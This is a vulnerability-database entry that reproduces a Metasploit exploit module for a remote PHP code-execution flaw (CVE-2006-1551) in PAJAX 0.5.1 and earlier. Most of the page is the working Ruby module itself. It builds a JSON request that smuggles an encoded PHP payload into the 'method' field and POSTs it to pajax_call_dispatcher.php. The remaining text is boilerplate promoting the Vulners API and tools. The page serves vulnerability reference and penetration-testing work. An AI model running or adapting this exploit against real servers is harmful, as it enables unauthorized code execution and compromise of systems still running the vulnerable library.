Lucene search
K

PAJAX Remote Command Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

PAJAX Remote Command Execution. Security flaws in PAJAX (<= 0.5.1) allow arbitrary PHP code execution and arbitrary file inclusion

Code

                                                ##
# $Id: pajax_remote_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;PAJAX Remote Command Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					RedTeam has identified two security flaws in PAJAX (&#60;= 0.5.1).
				It is possible to execute arbitrary PHP code from unchecked user input.
				Additionally, it is possible to include arbitrary files on the server
				ending in &#34;.class.php&#34;.
			},
			&#39;Author&#39;         =&#62; [ &#39;Matteo Cantoni &#60;goony[at]nothink.org&#62;&#39;, &#39;hdm&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9179 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2006-1551&#39;],
					[&#39;OSVDB&#39;, &#39;24618&#39;],
					[&#39;BID&#39;, &#39;17519&#39;],
					[&#39;URL&#39;, &#39;http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php&#39;],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
					&#39;Compat&#39;      =&#62;
						{
							&#39;ConnectionType&#39; =&#62; &#39;find&#39;,
						},
					&#39;Space&#39;       =&#62; 4000,
				},
			&#39;Platform&#39;       =&#62; &#39;php&#39;,
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Targets&#39;        =&#62; [[ &#39;Automatic&#39;, { }]],
			&#39;DisclosureDate&#39; =&#62; &#39;Mar 30 2006&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))

		register_options(
			[
				OptString.new(&#39;URI&#39;, [true, &#34;The full URI path to pajax_call_dispatcher.php&#34;, &#34;/pajax/pajax/pajax_call_dispatcher.php&#34;]),
				OptString.new(&#39;MOD&#39;, [true, &#34;The PAJAX module name&#34;, &#34;Calculator&#34;])
			], self.class)
	end


	def exploit

		args = %Q!{ &#34;id&#34;: &#34;bb2238f1186dad8d6370d2bab5f290f71&#34;, &#34;className&#34;: &#34;#{datastore[&#39;MOD&#39;]}&#34;, &#34;method&#34;: &#34;add(1,1);#{payload.encoded};$obj-&#62;add&#34;, &#34;params&#34;: [&#34;1&#34;, &#34;5&#34;] }!

		res = send_request_cgi({
			&#39;uri&#39;      =&#62; datastore[&#39;URI&#39;],
			&#39;method&#39;   =&#62; &#39;POST&#39;,
			&#39;data&#39;     =&#62; args,
			&#39;ctype&#39;    =&#62; &#39;text/x-json&#39;
		}, 25)

		if (res)
			print_status(&#34;The server returned: #{res.code} #{res.message}&#34;)
		else
			print_status(&#34;No response from the server&#34;)
		end
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation